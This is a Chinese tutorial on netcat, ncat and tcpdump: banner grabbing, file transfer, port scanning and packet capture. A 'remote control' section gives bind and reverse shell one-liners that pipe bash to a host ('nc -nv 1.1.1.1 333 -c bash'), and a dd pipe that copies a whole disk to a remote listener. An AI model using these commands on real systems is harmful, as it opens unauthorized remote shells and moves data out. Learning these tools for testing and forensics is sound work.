文章目录
- nc的常用选项
- NC具有的常用功能
- telnet / 获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传文件
- 端口扫描
- 远程克隆硬盘
- 远程控制
- NCAT
- TCPDUMP简单用法
nc的常用选项
-l 开启监听模式，用于入站链接
-p 开放本地端口
-n 远程连接，后面要跟上端口
-v 显示详细信息
-q 执行操作后退出，可以添加延迟时间
-z 端口扫描
-u UDP模式
-c 添加使用权限
NC具有的常用功能
• 网络工具中的瑞⼠军⼑——小身材、大智慧
• 侦听模式 / 传输模式
• telnet / 获取banner信息
• 传输文本信息
• 传输文件/目录
• 加密传输文件
• 远程控制/木⻢
• 加密所有流量
• 流媒体服务器
• 远程克隆硬盘
telnet / 获取banner信息
nc –nv 1.1.1.1 110
nc –nv 1.1.1.1 25
作用：可以通过连接端口获取一些banner信息，确定服务器上开发的端口是不是此服务
例如：ssh服务工作端口是TCP 22
通过此图，用nc连接目标服务器22端口，不一定就是SSH服务
开放本地服务22端口，让服务器通过ssh连接，可以发现服务器上SSH服务的banene信息
传输文本信息
A：nc -lp 4444
B：nc –nv 1.1.1.1 4444
作用：服务器可以开放本地端口，让客户端来连接此端口用来做聊天工具
服务器
客户端
传输文件/目录
传输文件：
A：nc -lp 333 > 1.mp4
B: nc -nv 1.1.1.1 333 < 1.mp4 -q 1
或
A：nc -q 1 -lp 333 < a.mp4
B：nc -nv 1.1.1.1 333 > 2.mp4==
传输目录
A：tar -cvf - music/ | nc -lp 333 –q 1
B：nc -nv 1.1.1.1 333 | tar -xvf –==
加密传文件
A：nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B： mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
端口扫描
TCP扫描：
nc -nvz 1.1.1.1 1-65535==
UDP扫描:
nc –vnzu 1.1.1.1 1-1024
一般用NC使用UDP扫描准确度非常低，不建议用NC扫
远程克隆硬盘
A： nc -lp 333 | dd of=/dev/sda
B： dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
远程电子取证，可以将目标服务器硬盘远程复制，或者内存。
远程控制
正向控制：
A:nc -lp 333 -c bash
B:nc -nv 1.1.1.1 333==
反向控制：
A:nc -lp 333
B:nc -nv 1.1.1.1 333 -c bash
NCAT
NCAT比NC更具有安全性，支持加密和身份验证的能力，NC不支持。
ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
（–allow 进行身份验证，–ssl进行加密算法）
ncat -nv 1.1.1.1 333 --ssl
通过wireshark抓包对⽐比nc、ncat加密与不加密的流量
nc
NCAT
TCPDUMP简单用法
No-GUI的抓包分析⼯工具
Linux、Unix系统默认安装
tcpdump -i eth0 -s 0 -w file.pcap
（-i选择网卡，-w保存格式，-n筛选条件，-r读取文件）
读取抓包文件
cpdump -r file.pcap
TCPDUMP——筛选
• tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
• tcpdump -n src host 145.254.160.237 -r http.cap
• tcpdump -n dst host 145.254.160.237 -r http.cap
• tcpdump -n port 53 -r http.cap
• tcpdump -nX port 80 -r http.cap
